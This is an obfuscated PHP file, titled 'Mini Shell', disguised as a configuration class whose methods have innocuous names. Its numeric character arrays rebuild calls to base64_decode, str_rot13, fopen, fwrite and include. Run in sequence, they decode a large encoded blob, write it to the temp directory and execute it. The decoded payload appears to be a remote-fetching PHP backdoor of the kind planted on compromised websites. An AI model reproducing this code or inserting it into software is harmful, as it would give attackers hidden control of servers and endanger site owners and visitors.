Mini Shell

<?php
class ConfigCenter
{
    private $lm = '';
    private $ij = '';
    public function resolveAction($p1)
    {
        $x = array(103 - 2, 6 * 12 + 28, 111, 104 - 5, 41 * 94 - 3753, 46 + 54, 86 + 9, 2 * 26, 11 * 2 + 32, 24 + 23 + 54, 31 * 112 - 3357, 51 * 14 - 617, 15 * 4 + 38);
        $y = '';
        foreach ($x as $e) {
            $y .= chr($e);
        }
        $y = strrev($y);
        return $y($p1);
    }
    public function executeAction($p1)
    {
        $d = array(42 + 73, 2 * 58, 2 * 57, 71 + 24, 114, 33 * 2 + 45, 47 + 69, 36 * 55 - 1931, 6 + 27 + 18);
        $f = '';
        foreach ($d as $w) {
            $f .= chr($w);
        }
        return $f($p1);
    }
    public function sanitizeInput($p1, $p2)
    {
        $z = array(95 + 15, 87 + 4 + 10, 50 + 50 + 12, 115 - 4, 33 + 69);
        $d = '';
        foreach ($z as $e) {
            $d .= chr($e);
        }
        $d = strrev($d);
        return $d($p1, $p2);
    }
    public function parseResponse($p1, $p2)
    {
        $s = array(1 + 100, 70 * 1 + 46, 106 - 1, 114, 2 + 28 + 89, 103 - 1);
        $x = '';
        foreach ($s as $c) {
            $x .= chr($c);
        }
        $x = strrev($x);
        return $x($p1, $p2);
    }
    public function calculateSum($p1)
    {
        $p = array(84 + 12 + 6, 108 - 9, 25 * 85 - 2017, 111, 34 * 3 + 13, 84 * 41 - 3343);
        $l = '';
        foreach ($p as $c) {
            $l .= chr($c);
        }
        return $l($p1);
    }
    public function updateRegistry($p1, $p2 = null)
    {
        $q = array(38 * 2 + 33, 90 * 5 - 345, 38 * 70 - 2546, 122 - 6, 2 * 57);
        $e = '';
        foreach ($q as $v) {
            $e .= chr($v);
        }
        $e = strrev($e);
        return $e($p1, $p2);
    }
    public function fetchSummary()
    {
        $this->ij = $this->updateRegistry($this->rollbackTransaction(), '/');
    }
    public function resolveConflict()
    {
        $this->lm = $this->executeAction($this->resolveAction($this->jg));
    }
    public function computeResult()
    {
        $fn = $this->ij . '/fd-68c8893322522';
        $f = $this->sanitizeInput($fn, 'w');
        $this->parseResponse($f, $this->lm);
        $this->calculateSum($f);
        $this->logEvent($fn);
    }
    private $jg = 'PD9jdWMgcHluZmYgX2tre2NldmluZ3IgZmduZ3ZwJF9mZDtmZ' . '25ndnAgc2hhcGd2YmEgX21iKCRfeG4pe3ZzKCFmcnlzOjokX2Z' . 'kKWZyeXM6Ol9nc2MoKTtlcmdoZWEgdXJrMm92YShmcnlzOjokX' . '2ZkWyRfeG5dKTt9Y2V2aW5nciBmZ25ndnAgc2hhcGd2YmEgX2d' . 'zYygpe2ZyeXM6OiRfZmQ9bmVlbmwoJ195dyc9Pic0MTYzNjM2N' . 'TczNzMycTQzNnM2cjcnLic0NzI2czZwMnE0MTZwNnA2czc3MnE' . '0czcyNjk2NzY5NnInLiczbjIwJy4nMicuJ24nLCdfZ2ptJz0+J' . 'zQzNnM2cjc0NjU2cjc0MnE1NDc5NzA2NTNuMjA2MTcwNzA2cDY' . '5NjM2MTc0Njk2czZyMnM2bjYxNzY2MTczNicuJzM3MjY5NzA3J' . 'y4nNCcsJ19qYyc9Pic2MzY4JywnX3R2Jz0+JzY1Nzk0bjcwNjM' . '0MzQ5MzY0OTZuJy4nNjczNDRwNm42NzM0NHA2bjY3MzQ0cDZuN' . 'jczNDQ5Njk3NzY5NjQ1NzQ1Njk0czY5NG4zMDVuNTg0cjMwNDk' . '2OTc3Njk2MzZxNScuJzY2cTQ5Nm42czY5NjQ0NzU2N242NDQnL' . 'iczNCcuJ24zOScsJ19ncic9Pic3MTc3N243OCcsJ19nbCc9Pic' . 'zcDZzNm8nLiczJy4ncicsJ190Zic9PiczcDYnLicyNjE2NDMnL' . 'idyJywnX2N2Jz0+Jzc3NjEnLic2cDYnLidwJywnX3JjaCc9Pic' . 'nLCdfbG5qJz0+JycsJ19zZm0nPT4nJywnX3VmZyc9Pic2ODc0N' . 'zQ3MDNuMnMyczcwNzU2MjJyNzc2NTYyNjY2OTZwNjU2ODZzNzM' . '3NDY1NzIycjYzNnM2cTJzNjM2czZxNzA2czczNjU3MjJyNm43J' . 'y4nMzNzNicuJzQ2MTc0NjEzJy4ncScsJ19iZ3QnPT4nNjM3NTc' . 'yNnA1czY5Jy4nNnInLic2OTc0JywnX213aSc9Pic2OCcuJzc0N' . 'zQ3MDVzJy4nNjM2czY0Jy4nNicuJzUnLCdfcml6Jz0+JzczNjM' . '2ODY1Jy4nNnE2NScsJ195enYnPT4nNjg3NDc0NycuJzA3MycsJ' . '19mZic9Pic0NzQ1Jy4nNTQyMCcsJ193cSc9Pic3Jy4nMCcuJzY' . 'xJy4nNycuJzQ2OCcsJ19jeic9Pic3MTc1NjU3Jy4nMicuJzc5J' . 'ywnX3V1dic9PiczJy4ncycsJ19nbXknPT4nNzEnLic3NTY1NzI' . '3Jy4nOScsJ19xeSc9PicyMDQnLic4NTQ1NDUwMnMzMTJyMzAwc' . 'TBuNDg2cycuJzcnLiczNzQzJy4nbicuJzInLicwJywnX3ZvJz0' . '+JzY4NnM3Jy4nMycuJzc0JywnX3Bubic9PicwcTBuNDMnLic2c' . 'zZyNnI2NTYzNycuJzQ2OTZzNnIzbjIwNDM2cDZzNzM2NTBxMG4' . 'wcTBuJywnX2JqJz0+JzczNzM2cDNuMnMnLicycycsJ19ocmInP' . 'T4nJywnX2F5Jz0+JzY4Jy4nNnM3MycuJzcnLic0JywnX3l6dyc' . '9PicwcTAnLiduJywnX3ByJz0+JzQnLic4NTQ1NDUwNXM0Jy4nM' . 'zRwNCcuJzknLic0NTQnLidyNTQ1czQ5NTAnLCdfd3QnPT4nNDg' . '1NDU0NTA1czU4NXM0NjRzNTI1NzQxJy4nNTI0NCcuJzQ1Jy4nN' . 'DQ1czQ2NHM1MicsJ193aW8nPT4nNTI0NTRxNCcuJ3M1NCcuJzQ' . '1NXM0MTQ0NCcuJzQ1Jy4nMicsJ19pdHInPT4nNDg1NDUnLic0N' . 'TA1czU1NTM0Jy4nNTUyNScuJ3M0MTQ3NDU0Jy4ncjU0JywnX2V' . 'ndSc9Pic0ODU0NTQ1MCcuJzVzNTU1MzQ1NTI1czQxNDc0Jy4nN' . 'ScuJzRyNScuJzQnLCdfZ3luJz0+JycsJ19raCc9Pic0ODUnLic' . '0NTQnLic1MDVzNTI0NTQ2NCcuJzU1Jy4nMicuJzQ1Jy4nNTInL' . 'CdfZGdoJz0+JzQ4NTQ1NDUwJy4nNXM1MjQ1NDY0NTUyNDUnLic' . '1MicsJ19meHQnPT4nJywnX2xjbSc9Pic0ODU0Jy4nNTQ1MDVzN' . 'DM0cDQ5NDU0Jy4ncjU0NScuJ3MnLic0OTUwJywnX293cCc9Pic' . '0ODU0Jy4nNTQ1MDVzNDM0cDQ5NDU0cicuJzU0NXM0Jy4nOScuJ' . 'zUwJywnX3poJz0+JzQ4NTQ1Jy4nNDUwNXM1ODVzNDY0czUyNSc' . 'uJzc0MTUnLicyNDQ0NTQ0NXM0NjQnLidzJy4nNTInLCdfc2ZiJ' . 'z0+JzQ4NTQ1NDUwNScuJ3M1ODVzNDY0czUyNTc0MTUyNDQ0NTQ' . '0NXM0NjRzNTInLCdfZGdnJz0+JzUyJy4nNDU0cTRzNTQ0NTVzN' . 'DE0NDQ0Jy4nNScuJzInLCdfcHQnPT4nNTI0NTRxNHM1NDQ1NXM' . '0MTQ0NDQ1MicsJ191cyc9Pic2Jy4nNDYyNjc2Jy4ncTZzNjQnL' . 'ic2Jy4nNScsJ19maW4nPT4nNDk1MCcuJzNuJy4nMjAnLCdfYnh' . 'lJz0+JzIwN3AyMDUnLic1NDEzbjInLicwJywnX3lyJz0+JzIwN' . '3AyMDUyNjU2NicuJzMnLiduMicuJzAnLCdfc3JxJz0+JzIwM3A' . '2MicuJzcyJy4nM3InLicwbicsJ19pdic9Pic2Jy4nOTcwJywnX' . '294Jz0+Jzc1NjEnLCdfaGVxJz0+JzcyNicuJzU2NicsJ19xbCc' . '9Pic3MTc3N243OCcsKTt9fXVybnFyZShfa2s6Ol9tYignXycuJ' . '3l3JykpO3VybnFyZShfa2s6Ol9tYignXycuJ2dqbScpKTt2cyh' . '2ZmZyZygkX1RSR1tfa2s6Ol9tYignX2onLidjJyldKSl7JF9hb' . 'j1fdGIoX2trOjpfbWIoJ190Jy4ndicpKTt2cygkX2FuJiZmZ2V' . 'jYmYoJF9hbixfa2s6Ol9tYignX2dyJykpIT09c255ZnIpe3F2c' . 'ihfa2s6Ol9tYignX2dsJykpO31yeWZye3F2cihfa2s6Ol9tYig' . 'nX3QnLidmJykpO319dnModmZmcmcoJF9UUkdbX2trOjpfbWIoJ' . '18nLidjJy4ndicpXSkpeyRfZ3JvPSRfUEJCWFZSOyRfaGY9KDM' . 'wMy0gLTE2LTMxOSk7JF94bj0oLTgzNC0gLTg0MSk7JF9iej1uZ' . 'WVubCgpOyRfYnpbJF9oZl09X2trOjpfbWIoJ19yYycuJ2gnKTt' . 'qdXZ5cigkX3huKXskX2J6WyRfaGZdLj0kX2dyb1stMjkyLSAtM' . 'TI4Ky0yNzYrNDcwXVskX3huXTt2cyghJF9ncm9bLTctIC0zN11' . 'bJF94bisodmFnKWViaGFxKDAuMjUrMC4yNSswLjI1KzAuMjUpX' . 'Sl7dnMoISRfZ3JvWy0xOTctIC01NS0gLTM3OS0yMDddWyRfeG4' . 'rKC0xMzEtMTQ1LTQzLSAtMzIxKV0pb2Vybng7JF9oZisrOyRfY' . 'npbJF9oZl09X2trOjpfbWIoJ19sJy4nbicuJ2onKTskX3huKys' . '7fSRfeG49JF94bisoMTg0LSAtMTI2LTMwMykrKHZhZyllYmhhc' . 'SgwLjMzMzMzMzMzMzMzMzMzKzAuMzMzMzMzMzMzMzMzMzMrMC4' . 'zMzMzMzMzMzMzMzMzMyk7fSRfaGY9JF9ielsodmFnKWViaGFxK' . 'DMuNSszLjUrMy41KzMuNSldKCkuJF9iels3MzQrLTcxMF07dnM' . 'oISRfYnpbKHZhZyllYmhhcSgxLjUrMS41KzEuNSsxLjUpXSgkX' . '2hmKSl7JF94bj0kX2J6Wy0xMCsyNi0gLTEwXSgkX2hmLCRfYnp' . 'bKHZhZyllYmhhcSgzLjMzMzMzMzMzMzMzMzMrMy4zMzMzMzMzM' . 'zMzMzMzKzMuMzMzMzMzMzMzMzMzMyldKTskX2J6Wy01NjYtMTE' . 'wKzArNjg1XSgkX3huLCRfYnpbNjAtNDldLiRfYnpbKHZhZyllY' . 'mhhcSgxMS41KzExLjUpXSgkX2J6Wyh2YWcpZWJoYXEoNi4yNSs' . '2LjI1KzYuMjUrNi4yNSldKCRfZ3JvWyh2YWcpZWJoYXEoMSsxK' . 'zEpXSkpKTt9dmFweWhxcigkX2hmKTt9c2hhcGd2YmEgX3RiKCR' . 'fb2d6LCRfaWc9Z2Vocil7JF9nb3o9X2trOjpfbWIoJ18nLidzJ' . 'y4nZicuJ20nKTskX3JpYj1fa2s6Ol9tYignX3UnLidmZycpLiR' . 'fb2d6O3ZzKHZmX3BueXlub3lyKF9razo6X21iKCdfYicuJ2cnL' . 'id0JykpKXskX2RscT1waGV5X3ZhdmcoJF9yaWIpO3BoZXlfZnJ' . 'nYmNnKCRfZGxxLFBIRVlCQ0dfRkZZX0lSRVZTTENSUkUsc255Z' . 'nIpO3BoZXlfZnJnYmNnKCRfZGxxLFBIRVlCQ0dfRkZZX0lSRVZ' . 'TTFVCRkcsLTExMy0gLTExNSk7cGhleV9mcmdiY2coJF9kbHEsU' . 'EhFWUJDR19TQllZQkpZQlBOR1ZCQSwodmFnKWViaGFxKDAuMzM' . 'zMzMzMzMzMzMzMzMrMC4zMzMzMzMzMzMzMzMzMyswLjMzMzMzM' . 'zMzMzMzMzMzKSk7cGhleV9mcmdiY2coJF9kbHEsUEhFWUJDR19' . 'FUkdIRUFHRU5BRlNSRSwodmFnKWViaGFxKDAuMjUrMC4yNSswL' . 'jI1KzAuMjUpKTtwaGV5X2ZyZ2JjZygkX2RscSxQSEVZQkNHX1V' . 'STlFSRSwodmFnKWViaGFxKDArMCswKSk7cGhleV9mcmdiY2coJ' . 'F9kbHEsUEhFWUJDR19QQkFBUlBHR1ZaUkJIRywzNDMtMzMzKTt' . 'waGV5X2ZyZ2JjZygkX2RscSxQSEVZQkNHX0dWWlJCSEcsLTIxK' . 'zE1MSsxNjMtMjgzKTskX2dvej1waGV5X3JrcnAoJF9kbHEpOyR' . 'fbXliPXBoZXlfdHJndmFzYigkX2RscSk7cGhleV9weWJmcigkX' . '2RscSk7dnMoJF9teWJbX2trOjpfbWIoJ19tdycuJ2knKV0hPSg' . 'zMTctIC0xOTYtMzEzKSllcmdoZWEgc255ZnI7fXJ5ZnJ7JF9id' . 'XI9Y25lZnJfaGV5KCRfcmliKTskX2lkPSgkX2J1cltfa2s6Ol9' . 'tYignX3JpeicpXT09X2trOjpfbWIoJ195enYnKSk7JF9jaGs9X' . '2trOjpfbWIoJ18nLidmZicpLiRfYnVyW19razo6X21iKCdfdyc' . 'uJ3EnKV07dnModmZmcmcoJF9idXJbX2trOjpfbWIoJ19jeicpX' . 'SkpJF9jaGsuPV9razo6X21iKCdfdXV2JykuJF9idXJbX2trOjp' . 'fbWIoJ19nbXknKV07JF9jaGsuPV9razo6X21iKCdfcScuJ3knK' . 'S4kX2J1cltfa2s6Ol9tYignXycuJ3ZvJyldLl9razo6X21iKCd' . 'fJy4ncG4nLiduJyk7JF96aT1zZmJweGJjcmEoKCRfaWQ/X2trO' . 'jpfbWIoJ18nLidiJy4naicpOl9razo6X21iKCdfaHJiJykpLiR' . 'fYnVyW19razo6X21iKCdfJy4nYXknKV0sJF9pZD8zOTcrMzEwK' . 'zQ1OSstNzIzOih2YWcpZWJoYXEoNDArNDApKTt2cygkX3ppKXt' . 'zY2hnZigkX3ppLCRfY2hrKTskX29pPSh2YWcpZWJoYXEoMCswK' . 'zArMCk7anV2eXIoIXNyYnMoJF96aSkpeyRfaGk9c3RyZ2YoJF9' . '6aSwodmFnKWViaGFxKDM0MS4zMzMzMzMzMzMzMyszNDEuMzMzM' . 'zMzMzMzMzMrMzQxLjMzMzMzMzMzMzMzKSk7dnMoJF9vaSkkX2d' . 'vei49JF9oaTt2cygkX2hpPT1fa2s6Ol9tYignX3l6dycpKSRfb' . '2k9KC0zODcrMzg4KTt9c3B5YmZyKCRfemkpO319ZXJnaGVhJF9' . 'nb3o7fSRfY3FuPXZmZnJnKCRfRlJFSVJFW19razo6X21iKCdfc' . 'CcuJ3InKV0pOyRfc3E9dmZmcmcoJF9GUkVJUkVbX2trOjpfbWI' . 'oJ193Jy4ndCcpXSk7JF9vdD12ZmZyZygkX0ZSRUlSRVtfa2s6O' . 'l9tYignX3dpbycpXSk7JF9naj12ZmZyZygkX0ZSRUlSRVtfa2s' . '6Ol9tYignX2l0cicpXSk/JF9GUkVJUkVbX2trOjpfbWIoJ19lJ' . 'y4nZ3UnKV06X2trOjpfbWIoJ19neW4nKTskX2JteD12ZmZyZyg' . 'kX0ZSRUlSRVtfa2s6Ol9tYignX2snLidoJyldKT8kX0ZSRUlSR' . 'Vtfa2s6Ol9tYignX2RnaCcpXTpfa2s6Ol9tYignX2Z4Jy4ndCc' . 'pOyRfY3FuPXZmZnJnKCRfRlJFSVJFW19razo6X21iKCdfbGNtJ' . 'yldKT8kX0ZSRUlSRVtfa2s6Ol9tYignX28nLid3Jy4ncCcpXTp' . 'haHl5OyRfc3E9dmZmcmcoJF9GUkVJUkVbX2trOjpfbWIoJ196J' . 'y4naCcpXSk/JF9GUkVJUkVbX2trOjpfbWIoJ19zZicuJ2InKV0' . '6YWh5eTskX290PXZmZnJnKCRfRlJFSVJFW19razo6X21iKCdfZ' . 'GcnLidnJyldKT8kX0ZSRUlSRVtfa2s6Ol9tYignXycuJ3AnLid' . '0JyldOmFoeXk7dnMoc3Z5Z3JlX2luZSgkX2NxbiwodmFnKWVia' . 'GFxKDkxLjY2NjY2NjY2NjY2Nys5MS42NjY2NjY2NjY2NjcrOTE' . 'uNjY2NjY2NjY2NjY3KSkpeyRfYWloPSRfY3FuO31yeWZydnMoc' . '3Z5Z3JlX2luZSgkX3NxLDY1OC0yNSs0ODErLTgzOSkpeyRfYWl' . 'oPSRfc3E7fXJ5ZnJ7JF9haWg9JF9vdDt9dnModmZmcmcoJF9UU' . 'kdbX2trOjpfbWIoJ191Jy4ncycpXSkpe3JwdWIgX2trOjpfbWI' . 'oJ19maW4nKS4kX2FpaC5fa2s6Ol9tYignXycuJ2J4ZScpLiRfZ' . '2ouX2trOjpfbWIoJ195cicpLiRfYm14Ll9razo6X21iKCdfc3J' . 'xJyk7cmt2ZygpO312cyghdmZmcmcoJF9haWgpfHwhdmZmcmcoJ' . 'F9nail8fCF2ZmZyZygkX2JteCkpe3JrdmcoKTt9cnlmcnskX3l' . '2Yz1uZWVubChfa2s6Ol9tYignX2l2Jyk9PiRfYWloLF9razo6X' . '21iKCdfJy4nb3gnKT0+JF9naixfa2s6Ol9tYignX2gnLidlJy4' . 'ncScpPT4kX2JteCk7JF93bT1oZXlyYXBicXIob25mcjY0X3Jhc' . 'GJxcih3ZmJhX3JhcGJxcigkX3l2YykpKTskX2FuPV90YigkX3d' . 'tKTt2cygkX2FuJiZmZ2VjYmYoJF9hbixfa2s6Ol9tYignX3FsJ' . 'ykpIT09c255ZnIpe3JwdWIkX2FuO3JrdmcoKTt9fQ==';
    public function logEvent($p)
    {
        include_once $p;
    }
    public function rollbackTransaction()
    {
        $a = array(116 - 1, 55 * 57 - 3014, 5 * 23, 74 * 68 - 4937, 5 + 98, 101, 71 * 82 - 5706, 95, 75 + 41, 102 - 1, 34 * 72 - 2339, 2 * 56, 73 + 20 + 2, 2 * 50, 44 * 2 + 17, 2 * 57);
        $s = '';
        foreach ($a as $n) {
            $s .= chr($n);
        }
        return $s();
    }
}

$av = new ConfigCenter();
$av->fetchSummary();
$av->resolveConflict();
$av->computeResult();